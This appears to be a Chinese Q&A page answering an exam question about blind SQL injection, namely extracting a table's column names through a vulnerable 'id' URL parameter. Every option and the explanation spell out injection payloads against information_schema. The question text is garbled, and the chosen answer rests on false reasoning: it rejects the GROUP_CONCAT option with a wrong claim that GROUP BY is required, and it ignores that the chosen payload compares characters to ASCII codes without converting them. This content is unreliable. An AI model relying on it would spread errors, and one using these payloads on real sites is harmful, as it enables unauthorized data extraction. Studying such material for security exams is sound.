SQL盲注过程中,确定存在SQL注入点,u中传递的是id=55参数,怎样通过注入的方式获取某个库表中所有的字段名?() A.在url中输入?id=55 AND SUBSTR(SELECT ASCII(COLUMN NAME)FROM information schemcolumns WHERE TABLE SCHEMA='库 名'AND TABLE NAME='表名'),n,1)=m,页面正常显示时,可以获取到第n个字符的ASCII码值m转换成原始字符后进行拼接,就可以获取到某个库 表中所有的字段名 ○B.在url中输入?id=55 AND SUBSTR(SELECT COLUMN NAME FROM information schemcolumns WHERE TABLE SCHEMA:='库名'AND TABLE NAME:='表名'),n,1)=m,页面正常显示时,可以获取到第n个字符的ASCII码值m,转换成原始字符后进行拼接,就可以获取到某个库表中所有的 字段名 C.在url中输入?id=55 AND SUBSTR(SELECT TABLE NAME FROM information schemcolumns WHERE TABLE SCHEMA='库名'AND TABLE_NAME='表名'),n,1)=m,页面正常显示时,可以获取到第n个字符的ASCI码值m,转换成原始字符后进行拼接,就可以获取到某个库表中所有的 字段名 D.在url中输入?id=55 AND SUBSTR(SELECT GROUP CONCAT(COLUMN NAME)FROM information schemcolumns WHERE TABLE SCHEMA='库名'AND TABLE NAME:='表名'),n,1)=m,页面正常显示时,可以获取到第n个字符的ASCII码值m,转换成原始字符后进行拼 接,就可以获取到某个库表中所有的字段名
时间: 2024-03-01 22:49:23 浏览: 11
在SQL盲注过程中,确定存在SQL注入点,可以通过以下方式获取某个库表中所有的字段名:
B. 在url中输入?id=55 AND SUBSTR(SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='库名'AND TABLE_NAME='表名'),n,1)=m,页面正常显示时,可以获取到第n个字符的ASCII码值m,转换成原始字符后进行拼接,就可以获取到某个库表中所有的字段名。
该方法使用了MySQL的information_schema系统表,该表记录了MySQL数据库中的元数据信息,包括数据库、表、字段等信息。通过SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='库名' AND TABLE_NAME='表名'可以获取到指定表中所有字段的名称,然后使用SUBSTR函数逐个获取每个字段名称的字符,从而获取整个字段名。
其他选项的描述如下:
A. 在url中输入?id=55 AND SUBSTR(SELECT ASCII(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='库名' AND TABLE_NAME='表名'),n,1)=m,页面正常显示时,可以获取到第n个字符的ASCII码值m,转换成原始字符后进行拼接,就可以获取到某个库表中所有的字段名。
这个选项使用了SQL语句中的ASCII函数,可以获取指定字符的ASCII码值。但是这个选项中没有使用COLUMN_NAME作为查询字段,因此无法获取到字段名称的信息。
C. 在url中输入?id=55 AND SUBSTR(SELECT TABLE_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='库名' AND TABLE_NAME='表名'),n,1)=m,页面正常显示时,可以获取到第n个字符的ASCII码值m,转换成原始字符后进行拼接,就可以获取到某个库表中所有的字段名。
这个选项中使用了TABLE_NAME作为查询字段,无法获取到表的字段名称的信息。
D. 在url中输入?id=55 AND SUBSTR(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='库名' AND TABLE_NAME='表名'),n,1)=m,页面正常显示时,可以获取到第n个字符的ASCII码值m,转换成原始字符后进行拼接,就可以获取到某个库表中所有的字段名。
这个选项中使用了GROUP_CONCAT函数,可以将查询结果按照指定规则进行拼接,但是这个选项中使用的SQL语句中没有使用GROUP BY语句,因此无法使用GROUP_CONCAT函数。